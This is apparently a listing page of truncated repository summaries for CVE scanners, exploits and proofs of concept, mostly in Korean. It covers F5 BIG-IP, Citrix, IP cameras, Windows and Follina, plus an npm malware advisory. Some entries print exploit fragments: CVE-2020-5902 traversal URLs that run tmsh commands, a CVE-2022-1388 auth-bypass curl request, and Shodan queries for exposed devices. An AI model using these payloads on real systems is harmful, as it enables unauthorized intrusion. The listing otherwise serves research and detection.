CVE-2022-1388-checker

CVE-2022-1388-checker CVE-2022-1388 F5에 대한 여러 호스트를 점검하기 위해 bash로 작성된 간단한 스크립트입니다. + 사용법: ./CVE-2022-1388.sh hosts.txt 참고 자료 https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2018-10933_Scanner

CVE-2018-10933Scanner は、CVE-2018-10933 の影響を受ける libssh のバージョンを検出するためのツールです。 単一のターゲットから IP アドレスの完全なリストまでスキャンでき、脆弱なサーバーの位置情報を表示することもできます。 + 連絡先: x Facebook: http://fb.me/IDX4CKS x Twitter: @IDX4CKS x メール: [email protected] x Instagram: maneersec + ファンページ: x Facebook:...

netwave-dosvulnerability

Netwave IP Camera 서버가 모든 펌웨어에서 하나의 거대한 POST 요청을 통해 인증되지 않은 서비스 거부Denial of Service에 취약함 CVE| 설명 ---|--- CVE-2018-6479| 인증되지 않은 원격 서비스 거부Denial of Service 취약점 CVSS| 점수| 세부 사항 ---|---|--- 3| 7.3| CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:X/RL:W/RC:X 0. 소개: IoT 보안 연구 과정에서 여러 IP 카메라 벤더에서 몇 가지...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei 템플릿 CVE-2022-1388 BIG-IP iControl REST 노출 2022년 5월 6일 이 템플릿은 인증 엔드포인트를 호출하여 API의 존재 여부만 확인합니다. 이 취약점으로 인해 관리 포트 및/또는 셀프 IP 주소를 통해 BIG-IP 시스템에 네트워크 접근 권한이 있는 인증되지 않은 공격자가 임의의 시스템 명령을 실행하거나, 파일을 생성·삭제하거나, 서비스를 비활성화할 수 있습니다. 데이터 플레인data plane 노출은 없으며, 이는 컨트롤 플레인control plane 문제일 뿐입니다. 이 템플릿은...

pwneye

pwneye는 ONVIF 및 RTSP 서비스를 노출하는 IP 카메라를 대상으로 하는 집중적이고 휴대 가능한 공격적 보안 도구로, 보안 연구원과 해커가 단일 CLI 워크플로우에서 탐지, 인증 테스트, 메타데이터 수집, 스트림 검증, 녹화 및 후속 조치를 쉽게 처리할 수 있도록 설계되었습니다. 현재 지원되는 기능 중 일부는 다음과 같습니다: WS-Discovery를 통한 로컬 네트워크 ONVIF 탐지 단일 자격 증명 또는 사용자 이름/비밀번호 파일을 사용한 ONVIF 인증 및 멀티스레드 무차별 대입 공격 장치 정보, 구성된 사용자...

fcn-

fcn free connect your private network from anywhere 1. fcn이란 무엇인가 fcnfree connect은 누구나 간편하게 원클릭으로 사설망에 접속할 수 있는 도구로, 고객 서버와 클라이언트로 구성됩니다. fcn은 fcn 공용망 데이터 서버와 데이터 암호화 기술을 사용하여 사용자 클라이언트를 고객 서버 사설망에 가상으로 접속시킵니다. fcn = fcnserver + fcnclient 참고: FCN V3.0 이전 버전은 서버 전환 시 BUG가 있으며, FCN이 최근 서버 IP를 전환하여...

CVE-2020-5902-F5BigIP

CVE-2020-5902 F5 BIG-IP 장치 요약: F5 Networks BIG-IP 장치에 영향을 미치는 CVE10.0 취약점인 CVE-2020-5902를 탐지하는 Zeek 탐지 패키지입니다. 참고 자료: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/ https://support.f5.com/csp/article/K52145254...

CVE-2022-1388

shodan search 'http.html:"BIG-IP Configuration Utility"' --fields=ipstr,port --separator ":" --limit 10 | grep '' shodan search 'http.title:"BIG-IP®-+Redirect"+"Server"' --fields=ipstr,port --separator ":" --limit 10 | grep '' CVE-2022-1388 CVE-2022-1388 스캐너 사용법 $python3 CVE-2022-1388-V1.1.py...

CVE-2020-5903

CVE-2020-5902 RCE /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...

CVE-2020-8554

Kubernetes 클러스터 생성 kind create cluster --config ./kind.yaml 클러스터에는 certmanager가 설치되어 있어야 합니다: https://cert-manager.io/docs/installation/kubernetes/ 취약점 테스트 kubectl apply -f - 'EOF' apiVersion: v1 kind: Namespace metadata: name: kubeproxy-mitm --- apiVersion: apps/v1 kind: Deployment metadata: nam...

CVE-2018-9995-2

도구 CVE-2018-9995-2 CVE: CVE-2018-9995 익스플로잇 작성자: Fernandez Ezequiel @capitanalfa 수정: Kien Quoc 버전: 2.0 Python3 설치 apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 빠른 시작 git clone https://github.com/kienquoc102/CVE-2018-9995-2 cd CVE-2018-9995...

Malicious code in css-gap-decorations-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8126656cc344a4f632b8ddf5a23683fc92ac22798bb67e1aed6bca73ac82d7b6 The package is published as a CSS polyfill but ships no polyfill functionality. On require, thunderboltRegistry.js uses childprocess.execSync to run...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 제품의 iControl REST API 기능에 원격 코드 실행 취약점이 존재합니다. 인증되지 않은 원격 공격자가 이를 악용하여 인증을 우회하고 루트 권한으로 임의의 명령을 실행할 수 있습니다. 사용법 python3 f5bigipscanner.py...

CVE-2024-38063

CVE-2024-38063 Research – Windows IPv6 Kernel Remote Code Execution 1. Project Overview This repository contains our research and analysis of CVE-2024-38063 , a critical vulnerability in the Windows TCP/IP stack. CVE stands for Common Vulnerabilities and Exposures. It is a standardized dictionary...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST 취약점 CVE-2022-1388 사용법 이 POC는 검증되었습니다! curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

CVE-2019-19781

CVE-2019-19781 Batch Proof of Concept Use Usage Limitations 1. Before use, the folder must contain a "data.txt" file with content: 192.168.1.0/24\n 192.168.2.0/24\n 2. Execute only on Linux: python3 CVE-2019-19781-testbata.py 3. If successfully executed and a vulnerability is found, export to...

rsdl

rsdl 서브도메인 스캐너 v.2 핑 방식을 이용한 서브도메인 스캔 및 HTTP/S 상태 확인. 플래그| 값| 설명 ---|---|--- --hostname| example.com| 스캔 대상 도메인. --output| | 도메인 이름으로 출력을 저장합니다. --list| /tmp/lists/example.txt| 서브도메인 목록 파일. 새로운 기능 HTTP/HTTPS 상태 확인 HTTP/HTTPS 요청에 대한 타임아웃 시간 업데이트 스캔 속도 향상 IP 스캔 새로운 터미널 인터페이스 설치 go get...

CVE-2020-16898--EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP 원격 코드 실행 취약점 EXP&POC 재현 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 명령: 관리자 권한으로 powershell/CMD 실행 Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2 조건: 대...

CVE-2019-19781_IOCs

CVE-2019-19781IOCs CVE-2019-19781에 대한 IOCs citrixhoneypotnslookup.txt 파일에는 ips.txt에 나열된 IP 주소에 대한 whois 결과가 포함되어 있습니다. 이는 다음에서 논의된 허니팟의 로그에서 가장 자주 나타난 주소입니다: https://www.digitalshadows.com/blog-and-research/cve-2019-19781-analyzing-the-exploit/...

CVE-2022-30190-follina

CVE-2022-30190-follina 새로운 MSDT-익스플로잇을 위한 또 다른 PoC Doc을 편집하려면 7z, xarchiver 등으로 열어서 word\rels\document.xml.rels의 값을 자신의 IP로 변경하십시오. 익스플로잇은 window.location.href 앞에 최소 3541자가 포함되어야 하며, 이 문자들은 script 태그 내에 있어야 합니다. 현재는 약 9000자가 있으므로 충분합니다. 익스플로잇에 대한 자세한 정보:...